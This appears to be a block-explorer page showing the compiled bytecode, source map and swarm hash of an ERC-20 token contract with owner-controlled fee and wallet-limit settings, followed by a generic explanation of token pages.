ac575f80fd5b506101b86103bb3660046110f6565b6106f8565b3480156103cb575f80fd5b506101d8600e5481565b3480156103e0575f80fd5b506013546101b890600160a01b900460ff1681565b348015610400575f80fd5b50601354610330906001600160a01b031681565b34801561041f575f80fd5b506101d8600f5481565b348015610434575f80fd5b506101d8610443366004611199565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610478575f80fd5b5061024561048736600461115e565b610704565b348015610497575f80fd5b506102456104a636600461115e565b61074d565b6060600180546104ba906111d0565b80601f01602080910402602001604051908101604052809291908181526020018280546104e6906111d0565b80156105315780601f1061050857610100808354040283529160200191610531565b820191905f5260205f20905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b5f610547338484610834565b5060015b92915050565b5f61055d8484846108f4565b6105ae84336105a98560405180606001604052806028815260200161136a602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610c5b565b610834565b5060019392505050565b5f546001600160a01b031633146105ea5760405162461bcd60e51b81526004016105e190611208565b60405180910390fd5b6001600160a01b03165f908152600560205260409020805460ff19166001179055565b5f546001600160a01b031633146106365760405162461bcd60e51b81526004016105e190611208565b600a55600955565b5f546001600160a01b031633146106675760405162461bcd60e51b81526004016105e190611208565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016105e190611208565b5f19600e556001600a819055600955565b6060600280546104ba906111d0565b5f6105473384846108f4565b5f546001600160a01b0316331461072d5760405162461bcd60e51b81526004016105e190611208565b6001600160a01b03165f908152600560205260409020805460ff19169055565b5f546001600160a01b031633146107765760405162461bcd60e51b81526004016105e190611208565b6001600160a01b0381166107db5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e1565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061085457506001600160a01b03821615155b6108945760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105e1565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b0383811691161480159061091f57506010546001600160a01b03838116911614155b801561093457506001600160a01b0382163014155b801561094e57506013546001600160a01b03838116911614155b801561096857506011546001600160a01b03838116911614155b801561098157505f546001600160a01b03848116911614155b15610a0c576001600160a01b0382165f90815260036020526040902054600e546109ab8383611251565b1115610a0a5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105e1565b505b6001600160a01b03831615801590610a2c57506001600160a01b03821615155b610a705760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105e1565b5f8111610acd5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105e1565b60115460ff600160a81b82048116600160a01b9092041610801590610af35750600f5481115b8015610b095750601354600160a01b900460ff16155b8015610b2d57506001600160a01b0383165f9081526005602052604090205460ff16155b8015610b4657506013546001600160a01b038381169116145b8015610b5b5750601354600160a81b900460ff165b15610b8d576011805460ff60a01b19169055305f908152600360205260409020548015610b8b57610b8b81610c86565b505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610bcd57506001600160a01b0383165f9081526005602052604090205460ff165b80610bff57506013546001600160a01b03858116911614801590610bff57506013546001600160a01b03848116911614155b15610c0b57505f610c49565b6013546001600160a01b0390811690851603610c2c57600954600855610c49565b6013546001600160a01b0390811690841603610c4957600a546008555b610c5584848484610ccb565b50505050565b5f8184841115610c7e5760405162461bcd60e51b81526004016105e19190611094565b505050900390565b6013805460ff60a01b1916600160a01b179055610ca281610d38565b6010544790610cba906001600160a01b031682610e88565b50506013805460ff60a01b19169055565b80610cdd57610cd8610ec0565b610d11565b60118054600160a01b900460ff16906014610cf783611264565b91906101000a81548160ff021916908360ff160217905550505b610d1c848484610f04565b80610c5557610c55600b54600855600c54600955600d54600a55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d6b57610d6b611282565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de69190611296565b81600181518110610df957610df9611282565b6001600160a01b039283166020918202929092010152601254610e1f9130911684610834565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e579085905f908690309042906004016112b1565b5f604051808303815f87803b158015610e6e575f80fd5b505af1158015610e80573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610ebb573d5f803e3d5ffd5b505050565b600854158015610ed05750600954155b8015610edc5750600a54155b15610ee357565b60098054600c55600a8054600d5560088054600b555f928390559082905555565b5f610f256064610f1f6008548561106190919063ffffffff16565b90611073565b90505f610f32838361107e565b6001600160a01b0386165f9081526005602052604090205490915060ff168015610f755750600e546001600160a01b0386165f9081526003602052604090205411155b15610f8a575f9150610f878184611320565b92505b6001600160a01b0385165f90815260036020526040902054610fac908461107e565b6001600160a01b038087165f908152600360205260408082209390935590861681522054610fda9082611089565b6001600160a01b0385165f908152600360205260408082209290925530815220546110059083611089565b305f9081526003602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f61106c8284611333565b9392505050565b5f61106c828461134a565b5f61106c8284611320565b5f61106c8284611251565b5f6020808352835180828501525f5b818110156110bf578581018301518582016040015282016110a3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110f3575f80fd5b50565b5f8060408385031215611107575f80fd5b8235611112816110df565b946020939093013593505050565b5f805f60608486031215611132575f80fd5b833561113d816110df565b9250602084013561114d816110df565b929592945050506040919091013590565b5f6020828403121561116e575f80fd5b813561106c816110df565b5f806040838503121561118a575f80fd5b50508035926020909101359150565b5f80604083850312156111aa575f80fd5b82356111b5816110df565b915060208301356111c5816110df565b809150509250929050565b600181811c908216806111e457607f821691505b60208210810361120257634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561054b5761054b61123d565b5f60ff821660ff81036112795761127961123d565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156112a6575f80fd5b815161106c816110df565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112ff5784516001600160a01b0316835293830193918301916001016112da565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561054b5761054b61123d565b808202811582820484141761054b5761054b61123d565b5f8261136457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f31916e4c50fc50efefc311922bda886ed4337fd0b82c78a6b35d91c4752d38564736f6c63430008150033

Deployed Bytecode Sourcemap

5011:8638:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7151:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7990:161;;;;;;;;;;-1:-1:-1;7990:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7990:161:0;1023:187:1;7428:96:0;;;;;;;;;;-1:-1:-1;7508:8:0;;7428:96;;;1361:25:1;;;1349:2;1334:18;7428:96:0;1215:177:1;8159:313:0;;;;;;;;;;-1:-1:-1;8159:313:0;;;;;:::i;:::-;;:::i;7337:83::-;;;;;;;;;;-1:-1:-1;7403:9:0;;7337:83;;7403:9;;;;2000:36:1;;1988:2;1973:18;7337:83:0;1858:184:1;12630:105:0;;;;;;;;;;-1:-1:-1;12630:105:0;;;;;:::i;:::-;;:::i;:::-;;5520:31;;;;;;;;;;;;;;;;5327:45;;;;;;;;;;-1:-1:-1;5327:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12927:151;;;;;;;;;;-1:-1:-1;12927:151:0;;;;;:::i;:::-;;:::i;6308:30::-;;;;;;;;;;-1:-1:-1;6308:30:0;;;;-1:-1:-1;;;6308:30:0;;;;;;7532:124;;;;;;;;;;-1:-1:-1;7532:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;7625:23:0;7598:7;7625:23;;;:14;:23;;;;;;;7532:124;1825:148;;;;;;;;;;;;;:::i;6206:37::-;;;;;;;;;;-1:-1:-1;6206:37:0;;;;-1:-1:-1;;;;;6206:37:0;;;;;;-1:-1:-1;;;;;2740:32:1;;;2722:51;;2710:2;2695:18;6206:37:0;2552:227:1;9234:144:0;;;;;;;;;;;;;:::i;1508:87::-;;;;;;;;;;-1:-1:-1;1554:7:0;1581:6;-1:-1:-1;;;;;1581:6:0;1508:87;;7242;;;;;;;;;;;;;:::i;5558:32::-;;;;;;;;;;;;;;;;7664:167;;;;;;;;;;-1:-1:-1;7664:167:0;;;;;:::i;:::-;;:::i;5771:53::-;;;;;;;;;;;;;;;;6283:18;;;;;;;;;;-1:-1:-1;6283:18:0;;;;-1:-1:-1;;;6283:18:0;;;;;;6250:26;;;;;;;;;;-1:-1:-1;6250:26:0;;;;-1:-1:-1;;;;;6250:26:0;;;5831:60;;;;;;;;;;;;;;;;7839:143;;;;;;;;;;-1:-1:-1;7839:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7947:18:0;;;7920:7;7947:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7839:143;12815:104;;;;;;;;;;-1:-1:-1;12815:104:0;;;;;:::i;:::-;;:::i;2029:244::-;;;;;;;;;;-1:-1:-1;2029:244:0;;;;;:::i;:::-;;:::i;7151:83::-;7188:13;7221:5;7214:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7151:83;:::o;7990:161::-;8065:4;8082:39;1017:10;8105:7;8114:6;8082:8;:39::i;:::-;-1:-1:-1;8139:4:0;7990:161;;;;;:::o;8159:313::-;8257:4;8274:36;8284:6;8292:9;8303:6;8274:9;:36::i;:::-;8321:121;8330:6;1017:10;8352:89;8390:6;8352:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8352:19:0;;;;;;:11;:19;;;;;;;;1017:10;8352:33;;;;;;;;;;:37;:89::i;:::-;8321:8;:121::i;:::-;-1:-1:-1;8460:4:0;8159:313;;;;;:::o;12630:105::-;1554:7;1581:6;-1:-1:-1;;;;;1581:6:0;1017:10;1693:23;1685:68;;;;-1:-1:-1;;;1685:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;12699:21:0::1;;::::0;;;:12:::1;:21;::::0;;;;:28;;-1:-1:-1;;12699:28:0::1;12723:4;12699:28;::::0;;12630:105::o;12927:151::-;1554:7;1581:6;-1:-1:-1;;;;;1581:6:0;1017:10;1693:23;1685:68;;;;-1:-1:-1;;;1685:68:0;;;;;;;:::i;:::-;13013:12:::1;:23:::0;13047:11:::1;:21:::0;12927:151::o;1825:148::-;1554:7;1581:6;-1:-1:-1;;;;;1581:6:0;1017:10;1693:23;1685:68;;;;-1:-1:-1;;;1685:68:0;;;;;;;:::i;:::-;1932:1:::1;1916:6:::0;;1895:40:::1;::::0;-1:-1:-1;;;;;1916:6:0;;::::1;::::0;1895:40:::1;::::0;1932:1;;1895:40:::1;1963:1;1946:19:::0;;-1:-1:-1;;;;;;1946:19:0::1;::::0;;1825:148::o;9234:144::-;1554:7;1581:6;-1:-1:-1;;;;;1581:6:0;1017:10;1693:23;1685:68;;;;-1:-1:-1;;;1685:68:0;;;;;;;:::i;:::-;-1:-1:-1;;9288:15:0::1;:29:::0;9343:1:::1;9328:12;:16:::0;;;9355:11:::1;:15:::0;9234:144::o;7242:87::-;7281:13;7314:7;7307:14;;;;;:::i;7664:167::-;7742:4;7759:42;1017:10;7783:9;7794:6;7759:9;:42::i;12815:104::-;1554:7;1581:6;-1:-1:-1;;;;;1581:6:0;1017:10;1693:23;1685:68;;;;-1:-1:-1;;;1685:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12882:21:0::1;12906:5;12882:21:::0;;;:12:::1;:21;::::0;;;;:29;;-1:-1:-1;;12882:29:0::1;::::0;;12815:104::o;2029:244::-;1554:7;1581:6;-1:-1:-1;;;;;1581:6:0;1017:10;1693:23;1685:68;;;;-1:-1:-1;;;1685:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2118:22:0;::::1;2110:73;;;::::0;-1:-1:-1;;;2110:73:0;;4333:2:1;2110:73:0::1;::::0;::::1;4315:21:1::0;4372:2;4352:18;;;4345:30;4411:34;4391:18;;;4384:62;-1:-1:-1;;;4462:18:1;;;4455:36;4508:19;;2110:73:0::1;4131:402:1::0;2110:73:0::1;2220:6;::::0;;2199:38:::1;::::0;-1:-1:-1;;;;;2199:38:0;;::::1;::::0;2220:6;::::1;::::0;2199:38:::1;::::0;::::1;2248:6;:17:::0;;-1:-1:-1;;;;;;2248:17:0::1;-1:-1:-1::0;;;;;2248:17:0;;;::::1;::::0;;;::::1;::::0;;2029:244::o;8960:266::-;-1:-1:-1;;;;;9055:19:0;;;;;;:44;;-1:-1:-1;;;;;;9078:21:0;;;;9055:44;9047:74;;;;-1:-1:-1;;;9047:74:0;;4740:2:1;9047:74:0;;;4722:21:1;4779:2;4759:18;;;4752:30;-1:-1:-1;;;4798:18:1;;;4791:47;4855:18;;9047:74:0;4538:341:1;9047:74:0;-1:-1:-1;;;;;9132:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9184:32;;1361:25:1;;;9184:32:0;;1334:18:1;9184:32:0;;;;;;;8960:266;;;:::o;9386:1595::-;1554:7;1581:6;-1:-1:-1;;;;;9545:13:0;;;1581:6;;9545:13;;;;:46;;-1:-1:-1;9581:10:0;;-1:-1:-1;;;;;9575:16:0;;;9581:10;;9575:16;;9545:46;:82;;;;-1:-1:-1;;;;;;9608:19:0;;9622:4;9608:19;;9545:82;:116;;;;-1:-1:-1;9650:11:0;;-1:-1:-1;;;;;9644:17:0;;;9650:11;;9644:17;;9545:116;:143;;;;-1:-1:-1;9684:4:0;;-1:-1:-1;;;;;9678:10:0;;;9684:4;;9678:10;;9545:143;:175;;;;-1:-1:-1;1554:7:0;1581:6;-1:-1:-1;;;;;9705:15:0;;;1581:6;;9705:15;;9545:175;9541:357;;;-1:-1:-1;;;;;7625:23:0;;9738:18;7625:23;;;:14;:23;;;;;;9820:15;;9796:19;9809:6;7625:23;9796:19;:::i;:::-;9795:40;;9787:92;;;;-1:-1:-1;;;9787:92:0;;5348:2:1;9787:92:0;;;5330:21:1;5387:2;5367:18;;;5360:30;5426:34;5406:18;;;5399:62;-1:-1:-1;;;5477:18:1;;;5470:38;5525:19;;9787:92:0;5146:404:1;9787:92:0;9721:177;9541:357;-1:-1:-1;;;;;9918:18:0;;;;;;:38;;-1:-1:-1;;;;;;9940:16:0;;;;9918:38;9910:72;;;;-1:-1:-1;;;9910:72:0;;5757:2:1;9910:72:0;;;5739:21:1;5796:2;5776:18;;;5769:30;-1:-1:-1;;;5815:18:1;;;5808:51;5876:18;;9910:72:0;5555:345:1;9910:72:0;10010:1;10001:6;:10;9993:60;;;;-1:-1:-1;;;9993:60:0;;6107:2:1;9993:60:0;;;6089:21:1;6146:2;6126:18;;;6119:30;6185:34;6165:18;;;6158:62;-1:-1:-1;;;6236:18:1;;;6229:35;6281:19;;9993:60:0;5905:401:1;9993:60:0;10141:19;;;-1:-1:-1;;;10141:19:0;;;;-1:-1:-1;;;10127:10:0;;;;:33;;;;:85;;;10187:25;;10178:6;:34;10127:85;:109;;;;-1:-1:-1;10230:6:0;;-1:-1:-1;;;10230:6:0;;;;10229:7;10127:109;:145;;;;-1:-1:-1;;;;;;10254:18:0;;;;;;:12;:18;;;;;;;;10253:19;10127:145;:179;;;;-1:-1:-1;10295:11:0;;-1:-1:-1;;;;;10289:17:0;;;10295:11;;10289:17;10127:179;:207;;;;-1:-1:-1;10323:11:0;;-1:-1:-1;;;10323:11:0;;;;10127:207;10110:465;;;10377:10;:14;;-1:-1:-1;;;;10377:14:0;;;10455:4;-1:-1:-1;7625:23:0;;;:14;:23;;;;;;10479:24;;10476:88;;10519:30;10528:20;10519:8;:30::i;:::-;10360:215;10110:465;-1:-1:-1;;;;;10628:18:0;;10595:12;10628:18;;;:12;:18;;;;;;10610:4;;10628:18;;;:38;;-1:-1:-1;;;;;;10650:16:0;;;;;;:12;:16;;;;;;;;10628:38;:84;;;-1:-1:-1;10679:11:0;;-1:-1:-1;;;;;10671:19:0;;;10679:11;;10671:19;;;;:40;;-1:-1:-1;10700:11:0;;-1:-1:-1;;;;;10694:17:0;;;10700:11;;10694:17;;10671:40;10625:301;;;-1:-1:-1;10738:5:0;10625:301;;;10773:11;;-1:-1:-1;;;;;10773:11:0;;;10765:19;;;;10761:165;;10818:11;;10800:15;:29;10761:165;;;10857:11;;-1:-1:-1;;;;;10857:11:0;;;10851:17;;;;10847:79;;10902:12;;10884:15;:30;10847:79;10936:37;10950:4;10955:2;10958:6;10965:7;10936:13;:37::i;:::-;9489:1492;9386:1595;;;:::o;2740:206::-;2826:7;2887:12;2879:6;;;;2871:29;;;;-1:-1:-1;;;2871:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2922:5:0;;;2740:206::o;11158:235::-;6587:6;:13;;-1:-1:-1;;;;6587:13:0;-1:-1:-1;;;6587:13:0;;;11247:38:::1;11264:20:::0;11247:16:::1;:38::i;:::-;11362:10;::::0;11318:21:::1;::::0;11350:35:::1;::::0;-1:-1:-1;;;;;11362:10:0::1;11318:21:::0;11350:11:::1;:35::i;:::-;-1:-1:-1::0;;6623:6:0;:14;;-1:-1:-1;;;;6623:14:0;;;11158:235::o;11457:353::-;11581:7;11577:110;;11604:14;:12;:14::i;:::-;11577:110;;;11659:10;:12;;-1:-1:-1;;;11659:12:0;;;;;:10;:12;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;11577:110;11697:43;11714:6;11722:9;11733:6;11697:16;:43::i;:::-;11765:7;11761:41;;11787:15;13540:20;;13522:15;:38;13581:15;;13567:11;:29;13619:16;;13604:12;:31;13476:170;8484:468;8576:16;;;8590:1;8576:16;;;;;;;;8552:21;;8576:16;;;;;;;;;;-1:-1:-1;8576:16:0;8552:40;;8621:4;8603;8608:1;8603:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8603:23:0;;;:7;;;;;;;;;;:23;;;;8647:13;;:20;;;-1:-1:-1;;;8647:20:0;;;;:13;;;;;:18;;:20;;;;;8603:7;;8647:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8637:4;8642:1;8637:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8637:30:0;;;:7;;;;;;;;;:30;8710:13;;8678:60;;8695:4;;8710:13;8726:11;8678:8;:60::i;:::-;8749:13;;:195;;-1:-1:-1;;;8749:195:0;;-1:-1:-1;;;;;8749:13:0;;;;:64;;:195;;8828:11;;8749:13;;8871:4;;8898;;8918:15;;8749:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8539:413;8484:468;:::o;10991:119::-;11075:23;;-1:-1:-1;;;;;11075:15:0;;;:23;;;;;11091:6;;11075:23;;;;11091:6;11075:15;:23;;;;;;;;;;;;;;;;;;;;;10991:119;;:::o;13121:343::-;13167:15;;:20;:40;;;;-1:-1:-1;13191:11:0;;:16;13167:40;:61;;;;-1:-1:-1;13211:12:0;;:17;13167:61;13164:73;;;13121:343::o;13164:73::-;13267:11;;;13249:15;:29;13309:12;;;13290:16;:31;13356:15;;;13333:20;:38;-1:-1:-1;13382:15:0;;;;13408:16;;;;13435:19;13121:343::o;11891:667::-;11988:12;12003:37;12036:3;12003:28;12015:15;;12003:7;:11;;:28;;;;:::i;:::-;:32;;:37::i;:::-;11988:52;-1:-1:-1;12051:23:0;12077:17;:7;11988:52;12077:11;:17::i;:::-;-1:-1:-1;;;;;12110:20:0;;;;;;:12;:20;;;;;;12051:43;;-1:-1:-1;12110:20:0;;:65;;;;-1:-1:-1;12160:15:0;;-1:-1:-1;;;;;12134:22:0;;;;;;:14;:22;;;;;;:41;;12110:65;12107:146;;;12199:1;;-1:-1:-1;12215:26:0;12226:15;12215:26;;:::i;:::-;;;12107:146;-1:-1:-1;;;;;12288:22:0;;;;;;:14;:22;;;;;;:35;;12315:7;12288:26;:35::i;:::-;-1:-1:-1;;;;;12263:22:0;;;;;;;:14;:22;;;;;;:60;;;;12362:25;;;;;;;:46;;12392:15;12362:29;:46::i;:::-;-1:-1:-1;;;;;12334:25:0;;;;;;:14;:25;;;;;;:74;;;;12474:4;12451:29;;;;:39;;12485:4;12451:33;:39::i;:::-;12442:4;12419:29;;;;:14;:29;;;;;;;;;:71;;;;12506:44;1361:25:1;;;-1:-1:-1;;;;;12506:44:0;;;;;;;;;;1334:18:1;12506:44:0;;;;;;;11977:581;;11891:667;;;:::o;2524:98::-;2582:7;2609:5;2613:1;2609;:5;:::i;:::-;2602:12;2524:98;-1:-1:-1;;;2524:98:0:o;2634:::-;2692:7;2719:5;2723:1;2719;:5;:::i;2418:98::-;2476:7;2503:5;2507:1;2503;:5;:::i;2312:98::-;2370:7;2397:5;2401:1;2397;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2299:248::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;-1:-1:-1;;2467:23:1;;;2537:2;2522:18;;;2509:32;;-1:-1:-1;2299:248:1:o;2992:388::-;3060:6;3068;3121:2;3109:9;3100:7;3096:23;3092:32;3089:52;;;3137:1;3134;3127:12;3089:52;3176:9;3163:23;3195:31;3220:5;3195:31;:::i;:::-;3245:5;-1:-1:-1;3302:2:1;3287:18;;3274:32;3315:33;3274:32;3315:33;:::i;:::-;3367:7;3357:17;;;2992:388;;;;;:::o;3385:380::-;3464:1;3460:12;;;;3507;;;3528:61;;3582:4;3574:6;3570:17;3560:27;;3528:61;3635:2;3627:6;3624:14;3604:18;3601:38;3598:161;;3681:10;3676:3;3672:20;3669:1;3662:31;3716:4;3713:1;3706:15;3744:4;3741:1;3734:15;3598:161;;3385:380;;;:::o;3770:356::-;3972:2;3954:21;;;3991:18;;;3984:30;4050:34;4045:2;4030:18;;4023:62;4117:2;4102:18;;3770:356::o;4884:127::-;4945:10;4940:3;4936:20;4933:1;4926:31;4976:4;4973:1;4966:15;5000:4;4997:1;4990:15;5016:125;5081:9;;;5102:10;;;5099:36;;;5115:18;;:::i;6311:175::-;6348:3;6392:4;6385:5;6381:16;6421:4;6412:7;6409:17;6406:43;;6429:18;;:::i;:::-;6478:1;6465:15;;6311:175;-1:-1:-1;;6311:175:1:o;6623:127::-;6684:10;6679:3;6675:20;6672:1;6665:31;6715:4;6712:1;6705:15;6739:4;6736:1;6729:15;6755:251;6825:6;6878:2;6866:9;6857:7;6853:23;6849:32;6846:52;;;6894:1;6891;6884:12;6846:52;6926:9;6920:16;6945:31;6970:5;6945:31;:::i;7011:980::-;7273:4;7321:3;7310:9;7306:19;7352:6;7341:9;7334:25;7378:2;7416:6;7411:2;7400:9;7396:18;7389:34;7459:3;7454:2;7443:9;7439:18;7432:31;7483:6;7518;7512:13;7549:6;7541;7534:22;7587:3;7576:9;7572:19;7565:26;;7626:2;7618:6;7614:15;7600:29;;7647:1;7657:195;7671:6;7668:1;7665:13;7657:195;;;7736:13;;-1:-1:-1;;;;;7732:39:1;7720:52;;7827:15;;;;7792:12;;;;7768:1;7686:9;7657:195;;;-1:-1:-1;;;;;;;7908:32:1;;;;7903:2;7888:18;;7881:60;-1:-1:-1;;;7972:3:1;7957:19;7950:35;7869:3;7011:980;-1:-1:-1;;;7011:980:1:o;7996:128::-;8063:9;;;8084:11;;;8081:37;;;8098:18;;:::i;8129:168::-;8202:9;;;8233;;8250:15;;;8244:22;;8230:37;8220:71;;8271:18;;:::i;8302:217::-;8342:1;8368;8358:132;;8412:10;8407:3;8403:20;8400:1;8393:31;8447:4;8444:1;8437:15;8475:4;8472:1;8465:15;8358:132;-1:-1:-1;8504:9:1;;8302:217::o

Swarm Source

ipfs://f31916e4c50fc50efefc311922bda886ed4337fd0b82c78a6b35d91c4752d385
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.